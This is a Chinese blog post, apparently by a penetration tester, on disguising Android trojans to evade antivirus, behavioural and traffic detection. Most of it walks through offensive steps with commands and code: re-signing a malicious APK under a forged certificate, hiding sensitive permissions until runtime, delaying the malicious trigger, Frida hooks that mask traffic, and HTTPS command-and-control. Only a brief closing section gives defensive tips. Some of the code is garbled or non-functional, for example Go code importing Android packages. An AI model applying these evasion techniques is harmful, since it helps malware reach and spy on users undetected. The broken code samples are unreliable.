一、从「防御」的背面看问题

有一次在公司内部进行移动端木马捕获测试时,我注意到,很多安全团队依赖于杀毒引擎和行为检测的规则来拦截恶意 APK 文件。只要木马的行为稍微显得「古怪」一点,比如滥用敏感权限、通讯数据加密异常,或者使用了某些知名的工具链编译,都会被检测到。
这让我好奇,如果我是攻击者,要如何绕过这些检测规则?换句话说,如何生成一个看起来「合法」的移动端木马?这次就来分享几种我尝试过的免杀技巧,以及背后的技术思路。
二、伪装的艺术:从基础到复杂
在移动端木马的免杀设计中,最重要的目标就是屏蔽三类检测方式:静态签名检测、动态行为分析 和 网络流量检测。
以下是我在实战中使用的一些伪装技巧,按照复杂程度逐步展开:
1. 修改 APK 文件签名
杀毒引擎的第一道检测门槛就是签名校验。许多木马开发者喜欢拿开源的恶意源码直接编译,然后用通用的签名工具(例如 apksigner)对 APK 文件签名。问题是,如果使用的签名证书已经被杀毒厂商标记为「恶意」,文件会直接被拦下。
我的思路是,生成一个看起来「正常」的签名证书,将恶意 APK 伪装成一款普通的 APP。具体流程如下:
步骤:
- 使用
keytool生成一个签名证书:
<pre><code class="language-shell"> keytool -genkeypair -alias fake_cert -keyalg RSA -keysize 2048 -validity 3650 -keystore fake.keystore `
- 输入伪造的信息,例如组织名填写「Example Corp」,地点填写「California」,这样生成的证书看起来像是正规的公司产品。
- 对 APK 包进行重新签名:
`shell apksigner sign --ks fake.keystore --out my_clean_apk.apk my_malware.apk `
- 验证签名是否成功:
`shell apksigner verify my_clean_apk.apk `
注意,签名成功后,动态分析可能无法直接识别文件为恶意程序,但这只是伪装的第一步。
---

2. 修改 Manifest 文件避开权限敏感点
静态分析通常会对 APK 的 AndroidManifest.xml 文件进行扫描。如果文件中声明了太多敏感权限(如录音、短信、摄像头等),很容易触发规则。

我的做法是缩减 Manifest 中的权限列表,将敏感权限动态加载到运行时,而不是在安装时直接声明。以下是具体实现:
修改 Manifest:
- 解压 APK 文件,找到
AndroidManifest.xml:
`shell apktool d my_clean_apk.apk -o unpacked_apk `
- 删除以下敏感权限:
`xml <uses-permission android:name="android.permission.RECORD_AUDIO"/> <uses-permission android:name="android.permission.SEND_SMS"/> `
- 将木马权限动态加载,使用反射调用:
`go package main
import ( "android.os" "fmt" )
func requestPermission(permission string) { fmt.Println("Requesting permission for:", permission) // 调用安卓的 Runtime API 来动态申请权限 }
func main() { permissions := []string{"RECORD_AUDIO", "SEND_SMS"} for _, perm := range permissions { requestPermission(perm) } } `
---
3. 隐藏恶意代码的触发点
传统木马会将恶意行为直接挂钩到启动 Activity 上,例如启动时进行网络通信、收集数据等。这种行为非常容易被检测到。
更好的方法是将恶意行为延迟触发,例如通过用户的特定操作(点击按钮、滑动屏幕等)来激活木马模块。以下是我在 Go 中的一个示例代码: </code></pre>go package main
import ( "fmt" "time" )
// 模拟木马主函数 func startMalware() { fmt.Println("Malware triggered!") // 这里可以放置木马的核心功能,例如数据窃取 }
func main() { fmt.Println("App started") // 设置一个触发点,例如用户操作后延迟执行 time.Sleep(10 * time.Second) startMalware() } <pre><code> ---
三、绕过动态行为检测的几种思路
如果木马运行时的行为太过显眼,很容易被动态分析工具标记。例如,频繁访问敏感 API、大量加密通讯流量等。以下是几种绕过动态行为检测的技巧:
使用 Hook 技术隐藏恶意行为
通过 Hook 系统 API,可以伪造木马的行为,让分析工具误以为这是正常的 APP。例如 Hook 网络请求,伪装成普通的 GET/POST 请求。
Hook 示例:
使用 Frida 注入 Hook: </code></pre>javascript Java.perform(function() { var Network = Java.use("com.android.okhttp3.OkHttpClient");

Network.newCall.implementation = function(request) { console.log("Intercepted network request:", request.url().toString()); // 修改请求内容 request.url = "https://legit-server.com"; return this.newCall(request); }; }); `
攻击者可以通过这种方式,将恶意行为伪装成合法流量,从而绕过动态检测。
---
四、网络流量的伪装与迷惑
在实战中,如果木马通过明文或异常加密的方式传输数据,很容易被流量检测工具识别。我的思路是将恶意通讯伪装成合法应用的流量。
使用 HTTPS + 正规域名
- 注册一个看起来「合法」的域名,例如
example-app.com。 - 使用 Let's Encrypt 申请免费的 SSL 证书:
- 在 Go 木马中实现 HTTPS 通信:
`shell certbot certonly --standalone -d example-app.com `
`go package main
import ( "crypto/tls" "fmt" "net/http" )
func main() { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } client := &http.Client{Transport: tr}
resp, err := client.Get("https://example-app.com/data") if err != nil { fmt.Println("HTTP request failed:", err) } else { fmt.Println("Response status:", resp.Status) } } `
---
五、检测与防御的小窍门
作为渗透测试人员,我也总结了一些防御的思路,方便我们在内网测试时更好地发现潜在木马:
- 重点关注动态权限申请:如果 APP 在运行时频繁调用敏感权限,可能是恶意软件。
- 分析流量模式:伪装流量虽然能逃过初步检测,但如果通讯时间和频率异常,仍然会暴露。
- 对签名进行交叉比对:通过在线服务(如 VirusTotal)检测签名证书是否被列入黑名单。
---
六、最后的一点思考
移动端木马的免杀并不是一劳永逸的事情。攻击者需要不断更新技术手段,而防御者也需要学会从攻击者的角度思考问题。希望本文的分享能给安全研究人员提供一些思路,同时提醒大家,安全是一场永无止境的攻防对抗。